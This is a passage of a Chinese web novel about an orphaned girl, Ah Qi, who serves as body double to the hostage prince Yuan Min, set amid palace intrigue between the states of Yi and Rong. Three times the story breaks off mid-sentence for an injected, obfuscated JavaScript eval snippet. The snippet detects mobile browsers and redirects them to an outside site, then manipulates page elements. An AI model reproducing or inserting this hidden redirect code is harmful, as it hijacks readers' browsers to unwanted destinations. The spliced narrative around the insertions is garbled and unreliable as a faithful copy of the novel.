《疯批反派和大女主HE了》 1. 无名之人 白水之畔,鹿鸣茶肆。 阿七盯着挡在走道的这群纨绔子弟,眼神从烦躁转为错愕,逐渐透出惊艳。 为首的少年身穿胭脂红锦衣,腰系一条玄色锦带,身姿挺拔如一株修竹。他生得十分漂亮灵动、尤其是一双春水般的桃花眼,看得人心神一漾,忘记了呼吸。 同伴也呆住了,目不转睛看着那少年,面面相觑、鸦雀无声。 那少年款款上前、步态从容,躬身长揖、谦逊有礼,清了清嗓子,温声道。 “在下昨夜梦到洛川水神赐我一枝芙蕖,原是应了你我重逢。仙子姐姐,可否赏光移步敝间,品茶听曲?” 这不伦不类的轻浮邀约…… 阿七顿时好感全无、眼前一黑。 那少年注视着她,眼神深情而缱绻,同时伸出一臂,做了个“请”的姿势,极有耐心地等候着。 阿七上下打量他一番,默了半晌,平淡而简练地吐出一个字。 “滚!” 少年身后的纨绔们不耐烦起来,纷纷嚷着“不识抬举”、“侯爷请你喝茶就去喝”,喧嚷声越来越大,甚至有人直接上前,要替少年强拉阿七入席。 少年忙喝止纨绔们,腰背躬得更低,柔声问:“姐……公子若另有要事,是否可告知在下何时有空,必定登门拜会?” 武煊站在阿七旁边,看得怒火中烧:“光天化日之下强拉人同席,哪来的规矩?小爷我警告你离我兄弟远点!” 少年笑了笑,忙退到一旁为他们让路,纨绔们却瞬间恼羞成怒,挨挨挤挤、捋袖揎拳冲了过来。这么多人,乱拳打死老师傅,更何况…… 阿七忙对武煊他们使了个眼色,四人且战且退,一直退到临水的栏杆。旋即,佯作被打中坠入水中,一个接一个。 “噗通”、“噗通”…… 在水底蹬腿划臂,奋力向着远处潜水泅渡而去,脚踝传来撕裂般疼痛,一抽一抽的,带得她坠向水底。 抽筋了! 阿七心惊胆战扑腾,恍惚听见岸上此起彼伏的呼喊声,张了张嘴,呛进几口水、胸腔火辣辣地疼,眼前忽然一黑。 痛,好痛。 . “呼!” 阿七倏然睁眼,水流、伤口、血雾瞬间烟消云散,烛火摇曳,映得灯下那面容晦明不辩。 那面容,薄唇噙一缕浅笑,长眉斜挑,丹凤眼却毫无笑意,静静瞟来,正是元旻。 阿七忙恭声低唤“殿下”,一个激灵就要起身行礼,却被武煊伸手摁住:“没事吧?” 大梦初醒,阿七转了转眼珠,努力去想之前发生的事。 一个月前,阿七带两名属下去昇阳办事,而后返回栎东县鹿鸣茶肆,与武煊会合。 却不知怎么招惹了一伙纨绔,也不管熟不熟就缠着她、非要拉她同席。被拒之后更是恼羞成怒、大打出手,他们四人不愿暴露行藏,只好佯作被打落入水,伺机从河底遁走,然后…… “泅水到一半你就抽筋晕过去了,害我跟她们费好大劲把你弄回来”,一只手在她眼前晃了晃,武煊伸出三根手指,“这是几?” 阿七没搭理武煊,看向元旻,沉声道:“领头的那个红衣少年,身份似乎不简单。” 武煊悻悻道:“吃了熊心豹子胆,居然敢调戏我兄弟。” 元旻颔首:“三段螭纹,簇拥中间一只狮头?” 武煊:“……” 阿七思忖:“荣国宗室专用图案,样式对得上,可传闻英平郡公端方持重,怎会如此孟浪?” 武煊:“?” 元旻款款起身:“阿七先休养,老六随我来。” 门开了又关,两人一阵风地远了,只剩说话声还回荡在院落。 “我有名有姓,不叫老六!” “习惯而已。” “……行吧,四哥。” 阿七缓缓收回视线,合上眼轻轻笑了,有些羡慕,有些落寞。 他们都有名有姓。 “元”是大翊国姓,元旻是大翊四王子,更是中宫王后冯姮所出的嫡子。 “武”是大翊五大望族之一,世代镇守上阳郡,袭爵平西侯。平西侯夫人与王后同出一族,其幼子武煊从启蒙起,就与元旻在一起念书习武,直到十四岁才随兄弟去军中历练。 而阿七,只是阿七,无名无姓无家族,孑然一身。 阿七从记事起,就着男装,以王后冯姮养子之名与元旻同住兴庆宫,从小到大几乎与元旻寸步不离,也是他几个伴读之一。 这是阿七在世间唯一的身份。 无人知阿七从何而来,她是在乞巧节被抱进王宫的,于是王后收养她时、替她取名“阿七”。 有人说她是孤儿,有人说她是罪臣之后,有人说她是某忠烈唯一血脉。那些众说纷纭的传言很快被压下,悄无声息消散在幽幽深宫。 无论如何,因着养母这一点善念,她顺风顺水长大,与元旻同吃同住。 吃的是珍馐膏粱、穿的是华服金玉、住的是碧瓦朱甍,还幸运地拜了个厉害师父。如是这般,侥幸享受了十多年本不属于自己的金尊玉贵。 次日清早,阿七到了前堂,不见元旻,只有武煊对着几盘鸡鸭牛羊大快朵颐。 武煊出身武将世家,胃口一直极好。见她进来,忙吩咐人摆碗布菜,又亲自夹了一块热气腾腾的炙羊肉到她碗里。 “早啊”,阿七招呼道,“大清早吃这样荤?” 武煊笑道:“加那俩菜是给你的,再过半月就是荣国的册后大礼,你多吃些,莫到时撑不起礼服。” 阿七恹恹:“我一介白身,去什么大典,穿什么礼服?” 武煊:“四哥一早出了门,说是快则十天,慢则半月才能回来,如赶不上,你到时替他。” 于是半晌无话。 慢慢咬着油滋滋的羊头肉,阿七叹了口气。 那侥幸的十多年好日子,真如黄粱一梦,一朝醒来,所有前程、光耀都苍黄翻覆。 当年,元旻看着其他伴读一个个归家,便忖度着,为阿七挑一支绝嗣的中等贵族入继,赐个好出身留待新朝。 是的,新朝。 先王在时,大家都知道他会立元旻为储。因为元旻不仅是嫡长子,还是所有王子中天份最高、最勤勉的。 先王对元旻寄予厚望,不但支持他结交世家、培植势力,还多次让年幼的他代行邦交、留朝监国;待元旻长大些,更是让他持兵符、巡幸八方军营。 甚至,元旻的住所兴庆宫被称为“东宫”,他也被授予仅次于圣旨懿旨的行令权——东宫令。 所有人都深信不疑,再等上几年,先王年迈力衰之后,就会立元旻为储。 如果没那一场接一场的意外…… 四年前,征和十九年的冬天格外寒冷,先王最宠爱的崔夫人携膝下二子谋逆。不知怎地走漏了风声,叛乱未起便已平复。崔夫人被幽禁于浮玉宫,除了崔氏极受信重、又与崔夫人迅速切割,幸免于难,其余乱党皆被夷三族。 二、三王子当着昭王的面,自戕身死。温热的颈血喷了先王满脸满身,他急痛攻心,当即喷出一口心头血,往后栽倒。而后,身体便一天不如一天。 征和二十年夏,先王命年仅十六的元旻西行巡军。出发前夜,先王去冯姮居住的景和宫摆了家宴,召元旻小聚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981211|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴罢,大半辈子不曾关怀过元旻、只考校他功课与政绩的先王,忽醺醺然道:“阿旻,再给爹爹弹一曲罢。” 阿七当时也在,发现一向稳重的元旻,听到这从未有过的软话、愣了一愣。 那是他们与先王的最后一面。 . 犒军的前两月很顺利,到了与荣国英平郡接壤的上阳,元旻与武煊久别重逢,千杯嫌少。 那夜陡生惊变。 先有一小队荣国士兵袭营刺探,可那只是个幌子。 又一队武功高强的武卒,似对营地布防极为熟悉,七绕八绕躲过看守,直奔元旻御帐。 幸亏阿七当夜滴酒未沾,一边拼死抵挡,一边发烟花示警。 上阳境内的永乐山中,却突然杀出三千穿荣国军服的骑兵,砍瓜切菜般掠过营地,留下一地尸骸。 那个混乱厮杀的夜晚,武家父子七人带亲兵护送他们,向西杀出,一直逃了两百多里,却未等到援军。 武家父子因重伤和体力不支,一个接一个倒下。最后倒下的是二哥武焜,倒下之前将他们三人藏在一处山洞,说是已传信给临梁侯,让他们在此等待援军。 三人在饥寒交迫中等了不知多久,终于听到外面传来士兵搜山的声音,武煊迫不及待要出洞求救,一直默不作声的元旻却一把按住他们,并脱下外袍裹上干草,捆扎紧实。 在扔出裹着外袍的干草前,元旻拔出佩剑,猛然低叱:“逃!” 箭雨霎时穿透干草,元旻已跃出洞口,旋身一剑割开三名弓箭手的咽喉,同时抢来弓箭扔向阿七和武煊,又是一剑挥向背后。所幸来的只有十多人,三人且战且退间已解决干净。 及至退到山下,身后呼喝越来越密,追兵已散开满坡,前方挡着一条狂飙的浊黄河流——伊河。 元旻瞥了一眼身穿临梁军服、却操一口流利昇阳官话的追兵,已然明白前因后果,纵身跳入伊河的滚滚浊流。 他们醒来,已是在荣国的英平郡镇安县。 英平郡公苻沣在伊河支流的白水救起他们,认出元旻腰间的比翼凤凰玦之后,拿出翊国递交的国书,向他们款款陈述了这半月来的变故。 先王元珙于半月前突发恶症崩逝,嫡子元旻下落不明,长子、六子身份各有尴尬,皆不能服众。 国不可一日无君,于是有世家大族推举王弟元琤暂代朝政,先王谥“昭”,后世称翊昭王。中宫冯姮尊为太后,人称“冯太后”或“昭后”,垂帘听政。 三十多岁的寡嫂“教导”四十多的王弟理政,看似荒谬,却已是多方势力角力之后,达成的最“其乐融融”的局面。 荣国与大翊的梁子结了两三百年,元琤刚一即位,却又是交好,又是递国书,最最昭然若揭的,就是派遣元旻到荣国为质。 苻沣讲到此处,稳重的脸上透出些恻隐。 英平郡公是个实诚的大好人,不仅好药好饭照应、替他们养好了身子,还派出最精锐的亲兵,一路护送他们到荣国王都灵昌。 从准王储到质子,也就一个月不到。 从云端跌下泥坑,元旻却淡然置之。 在兴庆宫时,他听学、练武、邦交、犒军、监国、定期向翊王请安;在质子府时,他研学、练武、抚琴、饮宴、定期向荣王请安。 宠辱不惊,去留无意。 直到一年后,他开始频频外出。 荣王苻治、翊王元琤派出的眼线,快将质子府渗透成筛子。阿七一介白身、无需应酬,虽比元旻矮小许多,却精通改妆易容,且对元旻十分熟悉,扮起元旻来,言行举止几可乱真。 从此,阿七成了元旻的替身、影子。 2. 大翊来使 在这片名为蜃洲的大陆上,大小国家部落数以百计。有三大强国,大宛驰骋北方,蒙舍国隐于南方密林,而东部千里沃野、临海鱼米富地,尽归大翊。 大翊立国已有千余年,传闻其国民并非蜃洲本土所生,最初的最初,只有从东边渡海而来七千人。 古书记录,他们肋生双翼,可翱翔九天,人数虽少,却无论男女,都骠骁会武、能征善战,更擅巫祝灵咒。下船登陆后不足一年,莱东望海百族皆俯首称臣,世结姻亲。 该民族信仰神鸟凤凰与天空之神,被蜃洲原住民称为“羽民”,太祖元长愗与大祭司元湘共定国号为“翊”,定都昇阳。 天上星河转,浮世已千年。 披霜露、斩荆棘的首代国主祭司兄妹已驾云西去、传闻中翱翔九天的神鸟杳然无踪。 千年后的昇阳城北,宫墙遮天蔽日,护城河融融汤汤蜿蜒数十里,宫殿銮宇层层叠叠,覆压千亩。 而在昇阳东郊的阳华山,起地九百六十丈,两万一千三百三十三步台阶通天,台阶两侧渐次分立十三陪殿,拱卫着山巅隐入云端的国庙——凰羽寺。 也许真得到了天空之神的庇佑,大翊的国土从千年前的莱东弹丸之地,扩张至今,已东至望海,西至临梁,南至长流川,北至乌兰、玄阴山脉,成为第一强国。 昭王是个精明强干的中兴之主,在位二十年,年号“征和”,文治武功皆十分了得。 先迎娶北宛公主冯姮为后,与北宛通商互市;然后灭长流川以南的滬国,得两千里膏腴之地。 最后派五姓之崔氏,在长流川南岸与蒙舍国交界的夔山、木城山脉筑起全长约七百里的防线,史称“南篱”。 这完美的疆域,却在翊国西南角落,伊河与长流川之间,蓥山山脉以西八百里、戎陵山脉西南、东北各六百里,斜斜圈出了一块污渍。 这块不大不小的污渍,便是荣国。 荣,本名“戎”,善养马、擅冶炼,铸造的盔甲刀兵在整个大陆无出其右,国土贫瘠、多荒漠与高山,民风悍勇。 荣国曾归顺于大翊,疆土合并、设州郡,却在三百年前又独立了出去。那以后与大翊的关系,更是降了叛、叛了降,并在这反复拉扯中,疆域越来越广,国力越来越强,胜仗越来越多。 多代翊王都曾在龙骨关陈兵数十万,想一举覆灭这反复无常的眼中钉,却因天险难攻、荣人悍勇,自家内部又不齐心,打着打着就陷入胶着,然后不了了之。 昭王灭滬国之后,马不停蹄在上阳郡广积粮草、加练精兵,想趁热打铁一举灭了荣国,却在大事将成时,被元琤来了个釜底抽薪。 荣王苻治喜不自胜,国力尚自空虚,塌天大祸消弭无形,转眼敌国变友邦,大翊来使又成了强邻上宾。 . 荣国永兴四年,苻治原配杨氏薨逝,同年,册封丞相高伯周之长女为后。 翊王元琤诚意颇足,遣来道贺的主使,竟是与先王一母所出的九王弟——襄候元璟。 筵开吉席醉琼觞,华国楼头鸾凤翔。红绸铺地,礼乐声中,执雉伞、锦曲盖、紫方伞、香炉、拂尘、银灯的宫人络绎不绝,接引着十二抬的轿辇自正南的安门缓缓抬入。 王后高氏着六龙六凤冠、执雉羽织就的团扇遮面,霞红锦衣上满绣的金丝银线在日光中晕成一团团绚烂。 阿七百无聊赖,努力保持元旻平日那波澜不惊的表情。身上的礼服,荼白织缎上有金丝、孔雀羽线、银线满绣的流云、曲水、鸟羽,弥散着清雅的沉水香,轻嗅静心凝神。 阿七低头,轻轻摩挲衣袖上若有若无的暗纹流光,想象着礼服穿在元旻身上的样子。 身侧的武煊忽轻轻拉扯了她一下,往丹陛之上使了个眼色。 阿七如梦初醒,猛然抬头,高处的襄侯元璟对她微微颔首一笑,风度卓然。 吓得她一个寒噤,险些没站稳。 . 次日,质子府,起云楼。 花窗半开,夕阳将梧桐枝叶的疏影照进屋内,娇俏的欢笑越来越近,穿缃色襦裙的少女推门而入,轻快地扑入武煊怀中:“六哥”。 武煊忙将少女抱紧,忽然神色一正,低声轻斥:“还不拜见四殿下。” 阿七正要抬手制止,元璟站在门口,闲闲笑道:“六郎,阿灿为了来见你吃了不少苦头,带她去灵昌逛逛灯会吧。” 话是对武煊说的,却一瞬不瞬盯着阿七,笑容好似长在脸上的面具。 武灿犹自撒娇:“六哥,好久不见,阿七是不是又长好看了些?对啦,阿七怎么不在?阿七呢阿七呢?” 武煊头都大了,一边对沉默的两人赔笑,一边赶紧拖走聒噪的妹妹:“走看灯会去,哥带你逛街……” 兄妹二人笑闹着跑远了,元璟仍盯着阿七,一言不发,周围的气流似乎有所感知,也逐渐凝固。 就在阿七心虚得快绷不住时,元璟不紧不慢走到主位坐下:“跪下。” 阿七双腿一软,穿着元旻的衣袍就弯膝跪下。 元璟闲闲道:“阿旻在哪?” 阿七声如蚊蚋:“师父我……” 元璟冷哼:“易容术学成这样,也敢拿来糊弄为师。” 阿七跪在地上低着头,感觉快要窒息了,正编着措辞想狡辩,门外忽传来一声轻笑:“愚侄既已好好回来,九叔何必在此吓唬阿七?” 阿七如遇大赦,偷偷瞟了一眼元璟,起身小跑着迎出门外。只见元旻唇角噙笑,穿一身玄色劲装,正风尘仆仆沿着楼梯拾级而上,到门口时对她说:“去更衣罢。” 又躬身行礼:“请九叔安。” 元璟怔了怔,如梦初醒般,一把拉住这个令他担忧数载的少年,摸了摸头顶、捏了捏胳膊,又轻抚脸颊:“高了,也壮了,长硬朗了,好啊,真好!” 紧紧抱住少年,放声大笑,泪如雨下。 元旻脸上仍挂着纹丝不动的端雅微笑,款款道:“几年不见,九叔风采更盛了。” “臭小子,还是端着这副老成样子”,元璟笑骂,忽然想到什么,笑容瞬间消失,冷哼斥责,“栎东的那些事,你早被人盯上了,简直不知死活!” . 之前,元璟率使团乘车从龙骨关入荣国,车辙碾出的狭道衰草满布,行行停停十余天,才出现可驷马并骖的宽阔官道,此时距册后嘉礼尚有月余。 他并不急于去灵昌觐见永兴王,反而向苻沣陈述狭道坎坷、人困马乏,想在英平郡休整几天。元璟喜欢游山玩水是列国出了名的,苻沣并不多作计较。 元璟一边佯作四处玩耍,一边派心腹先行潜去灵昌质子府与元旻接应,派出的人却似泥牛入海。 一筹莫展之际,冷不丁撞见了熟人。 那一日,栎东鹿鸣茶肆,元璟临白水而坐,波光潋滟,秋风送来画舫上沁人心脾的丝竹之声,恍惚是《白雪》,数月来的焦躁也平复了不少,遂合目假寐。 不知过了多久,隔壁雅间传来熟悉的声音。 武煊关切地问:“此行可顺利?” 阿七淡淡回复:“还行。” 武煊忙追问:“可有所获?” “噤声”,阿七压低声音说,“回去再说。” 而后便是静默,门开了又关,极轻的脚步声远去。 元璟噤屏息凝神听了半晌,却听到不远处传来男子浮浪的笑闹声,而后一个稚嫩的少年声音喝止调笑,带着恭敬温声道:“在下昨夜梦到洛川水神赐我一枝芙蕖,原是应了你我重逢。仙子姐姐,可否赏光移步敝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981212|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,品茶听曲?” 阿七默了片刻,平淡而简练地吐出一个字:“滚!” 元璟笑着摇了摇头,暗叹几年不见、阿七这狗脾气一点没变,一直侧耳倾听到接连的四声“噗通”落水。 紧跟着,是此起彼伏的惊叫,还有那群纨绔惊慌失措的交头接耳:“捞上来啊,小侯爷看上的人别想跑,快下去!” 元璟摇头,暗想该早点去灵昌了。 那几个人的水性他从不担忧,只是不知如此隐秘是为何事,等见了元旻需仔细问问。 起身刚要走,隔壁却又有人坐了下来,一阵窸窸窣窣翻找之声,随后有人禀报:“侯爷,那几人只在此坐了坐,并未留下什么。” 少年的声音再次传来:“无妨,我认得上阳武家的老六,另一位也肯定跟翊国质子府脱不了干系。” “是否封锁河道,搜找二人?” “好歹是大国质子,不至如此,随他们去吧”,那小侯嗓音带着笑,“咱们这半月盯着武煊,在栎东寻得不少好东西。莫邪,我们还是先回郡公府,与三哥商议一番,再作定夺。” 英平郡唯一的郡公,正是荣国永兴王苻治的三弟——苻沣。 . 苻沣很出名,因为他仁义礼智信俱全,名副其实的君子。荣国这王室,废物草包当道,苻沣是极其稀有的例外,也因此被苻治忌惮。 幸亏,孟太妃还有另一个儿子,建业侯苻洵。 其实苻洵名气更大,只是跟苻沣截然相反——声名狼藉的浪荡子。 小小年纪一身纨绔习气,未领过一官半职、不曾在任何衙门军营历练过,可谓毫无建树。除了一副精致漂亮的好皮囊,没有半分让人记忆的特点,生动阐释了“金玉其外败絮其中”。 苻沣大苻洵十几岁,对这幼弟颇为怜惜,就藩英平郡之后,先是怕他小小年纪、在灵昌缺少年长者的照拂,上书要将苻洵接到自己封地,毫无意外被拒了。 这世上哪有爹妈还活得好好的,把儿子交给兄长养的道理? 后来不知怎么的,苻洵莫名其妙被送到翊国昇阳为质子,小小年纪不得不逢迎昇阳那堆衙内,然后在应酬交际间染上了笙歌燕舞的习气。 等他被送回国,已是个不折不扣的纨绔,苻沣却仍担心他在灵昌缺少管束,被一帮败类带得更不堪,又多次向永兴王苻治请旨。 这一次,苻治答应了。 苻沣太聪慧能干,刚好有这个不成器的弟弟拖拖后腿,连猜忌之心都少了几分。于是苻治赐给苻洵一个“建业侯”的虚爵,又令他二人无诏不得回京,远远打发掉这别如云泥的两兄弟。 后面就是世俗喜闻乐见的兄友弟恭,苻沣终究把这堆扶不上墙的烂泥,硬生生带出了点人样。 却也只有一点人样。 那天在鹿鸣茶肆,元璟本想施展轻身工夫跟上苻洵,探听个只言片语。却见暮色渐起,如彻夜未归怕引使团怀疑,只得一路纵马先回英平郡首府镇安,再作打算。 岂料刚回驿馆,副使姜环便来报,英平郡公下帖,邀他次日过府一叙。 苻沣颇爱金石,偶得一古碑,想到元璟对古玩金石颇有涉猎,便邀其同赏。 元璟走入郡公府书房时,窗下一尊蓝釉狮耳香炉,倾吐着丝缕白烟如水流泄,浓浓的沉水香凝在室内,这熏香…… 苻沣见他神色有异,笑道:“鄙人一介武夫,却也敬重清流学问,知襄侯赏光,特沐浴焚香以示郑重,襄侯见笑。” 元璟忙笑道:“郡公言重,愚下不过觉这香气味醇正,一时陶醉罢了。” 苻沣松了口气道:“鄙人也不识香道,这块香是上赐的,合该与襄侯这等清贵人物相配。” 二人自谦推让半刻,元璟的心却越来越沉。 3. 鸿鹄之志 苻沣确实不懂香,将这沉水香熏得再浓,也遮不住那缕即将消散的雪松、白檀和冰片。 五钱沉香、三钱雪松、二钱白檀、一钱冰片,以沉香之醇厚、蕴雪松之温润、合白檀之清苦微甘、沁冰雪之凛冽,嗅之静气凝神、清冷高贵,正是元旻从小用到大的熏衣香。 三日之后,使团启程南下灵昌,苻洵押送英平郡上贡的贺礼,与他们结伴而行。他却在偶然一瞥间,恍惚见到一个熟悉的背影,沉住气等了半天,才看清那背影酷似元旻的,是一个面貌无半点相似的小兵。 更匪夷所思的是,十日后抵达陪都金阙时,那背影与元旻相似的小兵,也消失了。 而苻洵一行人却言笑晏晏,似乎谁也没发现少了个人。 元璟心事重重直到册后大典,观礼人群中的阿七扮相举止与元旻分毫不差。但阿七是他一手带出来的,最熟悉不过,再好的伪装也被他一眼看穿。 这彻底引爆了他心中巨大的不安。 . 质子府起云楼,已到了掌灯时分,屋内的长谈仍未结束,元璟一忽儿哭哭笑笑,一忽儿札手舞脚,元旻却一直波澜不惊,温言细语应对自如。 果然,元璟什么都没问出来。 也对,从小就套不出话的人,大了还能被问出什么才是见鬼。 阿七无声地笑了,倚着窗外梧桐树上的枝桠,嗅着桂子甜香,身子悠闲地斜靠着,眼睛却一瞬不瞬盯着起云楼周遭。 忽然直起身来。 掌灯婢依次进入各院,一间间屋舍逐渐亮起灯火。行至起云楼下时,侍立门口的女官春羽对掌灯婢说了什么,然后从掌灯婢手中接过烛火,对左右吩咐了几句,上了楼。 阿七松了口气,慢慢躺了回去,忽见朝晖堂的侍女翠墨避开人群悄悄走了过来。忙起身、足尖轻点、长臂一舒,从花窗“飘”了进去,朗声道:“殿下,小厨房已备好晚膳,再是叙旧也该保重身子。” 元旻会意,笑道:“愚侄无才,略备薄酒为九叔洗一洗风尘罢。” 元璟无奈,他看着几个侄儿侄女长大,唯独捉摸不透这一位。 元旻性情肖似冯姮,从小到大温润如玉,言行举止使人如沐春风,却天生心思深沉,七情不露声色。像一座精雕细琢的暖玉雕像,没有任何裂缝和瑕疵。 幼时的元旻就是一汪波澜不兴的湖,而今,这湖更变成了深不可测的渊。 盯着元旻半晌,他终于无奈地叹了口气:“昔重耳出亡十九载,稽首受土、降服而囚,何等惜身,你为何非要以身犯险?” 元旻笑容缓缓消失,目光如炬、字字掷地有声:“我乃大翊昭王嫡子,受君父托付社稷,眼看宵小窃国、倒行逆施,以致君父新政人亡政息、国体飘摇。我虽惜命,亦不能安然苟活。今亡亦死,举大计亦死,等死,死国可乎?” 元璟心头剧震,收在袖中的手发着颤,无声捏紧袖中一方绢帛。 . “等死,死国可乎?” 同样的话,阿七第二次听到,依然心绪翻涌。 元旻刚成为质子那年,曾有过命悬一线。 那一天,正是张灯结彩的上元节,元旻听宣入宫赴宴,却迟迟未归。 天黑以后,天空簌簌下起了雪,武煊和阿七提灯守在门口,等了不知多久,落雪积满肩头也浑然不觉,直到那辆熟悉的马车出现在街角,才松了口气。 马车停在门口,阿七奔上前掀开帘子,扶元旻下车,忽觉肩头一沉,温热的液体喷上后颈衣领,缓缓洇透阿七的后背。 阿七被压得倒退一步,险些栽倒在地。 上元夜,元旻赴宫宴归后,吐血数升、昏迷不醒。 他们连夜跑遍灵昌大大小小一百多条街道,敲开二十多家医馆,才找到一位精通毒理的大夫,大夫诊脉后却只是摇头叹气,摆手让他们准备后事。 阿七当时就疯了,攥住元旻一只手臂嚎啕大哭,大夫愣怔片刻,面露不忍,沉吟半晌写下一张方子,叮嘱二人或可一试,但万勿泄密。 老大夫话音未落,阿七已抢过药方直奔马厩,跑了一天一夜,跑死了两匹马,跑到衣衫满是污渍、鬓发蓬乱、双手沾满的血痂,终于凑齐了方子上大部分药材,却独独缺了一味最常见的附子。 那一味往日唾手可得的寻常药材,寻遍灵昌及周边郡县大小药铺,都已售空。 阿七守在朝晖堂主屋,感知着床上人气息一点点弱下去。于是她不吃不喝、不眠不休,只是枯坐,仿佛也随之神魂离窍。 如是这般过了三日,武煊忽听街上传来货郎的摇鼓声、吆喝声“生药……生药……” 煎好药汤,武煊撬开元旻唇齿,心一横全部灌下,如此灌了几天,人虽未醒来,脸上黑气却渐渐淡了,气息也一日强似一日。 也是这样一个下午,血色的夕阳晚照铺在积雪上,中毒半月有余的元旻缓缓睁开双眼。 守在一侧的阿七,惨白枯槁的脸上隐隐浮出点笑意,轻飘飘倒下,一病不起。 元旻听武煊叙述这半月来桩桩件件,静静听了半晌,唇角绽开个胸有成竹的笑,无半点血色的脸上,一双斜挑的丹凤眼明亮得吓人。 他说:“我赌赢了!” 对上武煊疑惑的眸子,他一字一字道:“宫廷剧毒,何人敢解?却哪来的货郎刚好经过?” 上元夜,元旻入席之前,曾见到个眼熟的身影在花园一闪而过,似是元琤的某位心腹。 斟入金瓯的酒,细嗅之下,有不属于酒的酸苦气味。螭陛上的苻治盛情祝酒,眼睛却死死盯着他手中杯盏,似期盼、又似畏惧。 他思忖片刻,对台上的国君恭顺一笑,举杯一饮而尽。 苻治依附于元琤,对其言听计从,却唯独不敢做一件事——杀质子。 大翊与荣国数百年宿仇,非一朝可解。大翊朝内动荡,元琤得位不正,急需一件前所未有的功绩来服众。苻治前脚杀了质子,大翊后脚就能师出有名,陈兵龙骨关,将小小荣国碾为齑粉,一箭双雕。 有密使敦促,苻治不敢明着放水,只能派遣死士扮作大夫、货郎,周旋良久,方才演完这出惊心动魄的大戏。 下毒事件后,元旻出入宫禁更频繁,苻治仍佯作提防他、苛待他,却悄无声息配合他们将元琤在质子府安插的耳目逐一拔除,元旻的活动范围也一天天大了起来。 这些谋算,元旻从未对他们透露过半分,只吩咐他们各自做些邀买人心、跑腿寄信的杂事。 阿七对政斗一窍不通,武煊私下对她揣测,元旻许是与苻治已暗中达成不为人知的协议。 又半年,元旻召武煊与阿七到起云楼,这一次,他没了以往的温润,正襟危坐,神情冷肃。 先问:“阿七,府中目前尚有耳目几许?” 阿七答:“尚有五人,朝晖堂、快雪阁、白露水榭、外门、后门各余一名,其余耳目收买四十七人,抹除十九人。” “如此便罢,剩下的勿要再动”,元旻点头,又问“武煊,玄色凰羽共送出去几枚?” “十七枚玄色凰羽,四名接收人已亡故,三名接收人欲告密已被抹除,两名接收人处境潦倒无力受托,剩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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城中遍植木芙蓉,当桂子的郁香飘满金风时,满城木芙蓉袅袅纤枝、灼灼娇红,有诗曰“安得蛮户千张机,为我织此明霞锦”。 为庆国君大婚,灵昌取消宵禁三夜,花灯游会便也大贺了三天三夜。正是灯树千光照,花焰七枝开,千家管弦沸,十里繁星迢。 武煊左手提着油纸包好的炙猪肉、茶酥、梨膏糖,右手提着两只兔子灯,双手托着送襄侯的茶器。左肩挎了个布袋,装着玫瑰胭脂、木樨香露、素馨清露、山茶油,右肩也挎了个布袋,是买给母亲的赤金石榴镯、犀角梳,买给大哥和五哥牛革腰带、鼍皮刀鞘。 略一走动,叮里哐当响,比走街串户的货郎还热闹。 不知女孩子怎么总有那样多的东西要买。 而前方…… 阿灿目光灼灼站在小摊前拿着两个泥人儿,左看右看,爱不释手:“真的可以定做吗,那就捏一个我,还有一个……他不在的,小像也可以吗,那好……” 从袖中取出一卷画像正要递过去,武煊伸手过来,一把将画打落。 阿灿怒吼:“我的炙猪肉、我的茶酥、我的梨膏糖、我的画,你!赔!我!” 武煊青筋突突直跳:“你个姑娘家,随身藏个男人的小像做甚?” 阿灿理直气壮:“好看啊。” 武煊被噎了一下:“你肤浅!” 阿灿甜甜笑起来,眉眼弯弯:“你们男子结亲都要挑貌美的、年轻的,怎就不许我喜欢好看的?” “你们统共见过几次,你对他了解多少?况且、况且……”默了半晌找不出个合适的词,只好反问,“况且,元四哥不好看么,裴家老大不好看么,五哥哥不好看么?” 阿灿真诚地摇头:“也好看,却都不是阿七那种好看法。” 武煊扶额,终于忍不住道:“不就是不如他长得柔……” 他忽然说不下去了,因为有三五子弟结伴,迎面走来,而被簇拥在中间的那位…… 4. 心悦之人 “武六公子,咱们可真有缘”,迎面走来一位言笑晏晏的俊美少年,着海棠红轻裘,腰饰螭纹簇狮头玉佩,遥遥作揖,“区区不才,乃建业侯苻洵,前次见面多有得罪。咦,这位娇俏的姑娘是……上次那位仙子姐姐去了何处?” 紧接着,苻洵打量了一番武煊,十分真诚而谦恭地说:“短短数日就换了女伴,还跟上次的不同类型,武六公子真是人不可貌相啊,在下佩服。” 轻描淡写寥寥数语,平等而周全地将提到的每个人侮辱了一遍。 武煊礼貌的微笑凝固在脸上,拳头捏得梆硬。 若非是在灵昌,若非对方已自曝宗室身份,他一定把这神经病揍得亲娘都认不出来。 忍了又忍,他压下怒火向阿灿使了个眼色,兄妹二人齐齐回礼告辞。 苻洵目送二人走远,俯身从地上拾起一卷宣纸,缓缓展开。 画上是十三四岁的少年,黛眉远山长、杏眼秋水澈、嘴唇紧抿,左手挽弓、右手拈箭拉弦。苻洵目光在那少年脸上逡巡良久,唇角扬起欣喜难抑的笑,眼圈泛红、泪光点点:“终于找到你了。” “仙子姐姐。” . 